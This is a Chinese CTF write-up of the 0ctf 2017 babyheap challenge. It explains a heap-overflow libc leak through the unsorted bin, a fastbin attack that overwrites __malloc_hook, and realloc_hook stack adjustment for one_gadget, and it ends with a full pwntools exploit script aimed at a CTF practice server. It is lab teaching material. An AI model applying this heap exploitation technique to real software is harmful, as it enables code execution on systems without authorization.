0cft2017 babyheap

0ctf2017 babyheap

复现了一道非常经典简单的堆题

分两步:

  1. 泄漏 libc 地址
  2. fastbin attack 修改 _malloc_hook

有一个堆溢出洞,写内存时没有做长度限制。
观察一下,虽然开启了地址随机化,但是 Chunk 地址的最后一字节总是固定的,这意味着修改低位字节能在不泄漏地址的情况下指向其它 chunk。

可以构造两个 fastbin 中的 chunk1 和 chunk2 ,其中一个 chunk1->fd 指向 chunk2,利用 chunk1 的物理前一个 chunk 修改 chunk1->fd 的最高字节,使其指向将来要放到 unsorted bin 中的 chunk3 (提前分配大于0x80)。

此时: chunk1->fd = chunk3 (将来会放入unsorted bin)

通过 chunk3 物理前一个 chunk 修改chunk3->size 字段, 使其与 chunk1-> size 相等,然后再申请两次 fastbin 得到 chunk3 的内存B。

得到 chunk3 的地址后,将 chunk3->size 还原,再释放 chunk3 ,使其进入 unsorted bin,由于此时 unsorted bin 中只有一个chunk,故 fd 指向 main_arena 中的地址,利用第二次申请 chunk3 内存读取 fd 即可。

  1. 劫持 _malloc_hook 执行 one_gadget

fastbin 伪造,只要把 size 搞好就行,_malloc_hook 附近有很多 0x7f,malloc 只会检测对齐后的长度,所以 0x7f 是可以用的,用 0x71 伪造 fastbin, 并使其 fd 字段指向 _malloc_hook 附近的 7f 00 00 00 00 前 8 字节地址。

one_gadget 条件不太好满足,大多数对栈有要求

可以进一步利用 realloc_hook 调整栈

即 malloc_hook 设置为 realloc,再由 realloc_hook 跳转到 one_gadget, 这是因为 realloc 头部有很多 push 指令可以调整栈

realloc_hook 与 malloc_hook 相邻,可以一起改写

1
2
3
4
realloc = libc_base + libc.symbols['realloc']
realloc_off = 0x2 * 2
fill(8, b'A' * 0xb + p64(one_gadget) + p64(realloc + realloc_off))
# 可以记一下固定偏移 _malloc_hook - 0x23 可以用来构造 fastbin chunk,大小0x7f

realloc 头部有很多 push 指令可以用于调整栈,加上适当的偏移 realloc_off 就可以控制压栈数量,从而使 one_gadget 条件满足。

另外记录一下 main_arena 偏移获取,题目给的 libc 没有调试符号,symbols 里面没有 main_arena,这种情况就只能自己手动找偏移

用 IDA 打开 libc,定位到 malloc_trim 函数

此处的 3C4B20 即为 main_arena 偏移

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *
context.log_level = 'debug'
libc_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/libc-2.23.so'
ld_file_name = '/home/pandaos/Projects/pwn/glibc/buu/ubuntu16/ld-linux-x86-64.so.2'

# p = process([ld_file_name, './0ctf_2017_babyheap'],
# env = {"LD_PRELOAD": libc_file_name})

libc = ELF(libc_file_name)
p = remote('node3.buuoj.cn', 29896)


def alloc(size):
p.recvuntil('Command: ')
p.sendline('1')
p.sendline(str(size))

def fill(idx,payload):
p.recvuntil('Command: ')
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(payload)))
p.send(payload)

def free(idx):
p.recvuntil('Command: ')
p.sendline('3')
p.sendline(str(idx))

def dump(idx):
p.recvuntil('Command: ')
p.sendline('4')
p.sendline(str(idx))
p.recvuntil('Content: \n')

alloc(0x8)
alloc(0x8)
alloc(0x8)
alloc(0x8)
alloc(0x80)
alloc(0x8)

free(0)
free(2)
fill(3, b'B' * 0x18 + p64(0x21))
fill(1, b'A' * 0x18 + p64(0x21) + b'\x80')
alloc(0x8)
alloc(0x8)
fill(3, b'B' * 0x18 + p64(0x91))
free(4)
dump(2)
leak_main_arena_off = u64(p.recvn(8))
leak_main_arena = leak_main_arena_off - 0x58
libc_base = leak_main_arena - 0x3C4B20

print("leak main arena: ", hex(leak_main_arena_off))
print("libc base: ", hex(libc_base))

alloc(0x8)
alloc(0x60)
alloc(0x8)

#free(4)
free(6)
fill(4, b'C' * 0x18 + p64(0x71) + p64(leak_main_arena_off - 0x83 - 8))
alloc(0x60)
alloc(0x60)

one_gadget = libc_base + 0xf1147
realloc = libc_base + libc.symbols['realloc']
realloc_off = 0x2 * 2
print("realloc: ", hex(realloc))
print("one gadget: ", hex(one_gadget))
fill(8, b'A' * 0xb + p64(one_gadget) + p64(realloc + realloc_off))

# gdb.attach(p, 'b *' + hex(one_gadget))
# input(">>")
alloc(0x8)
p.interactive()


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!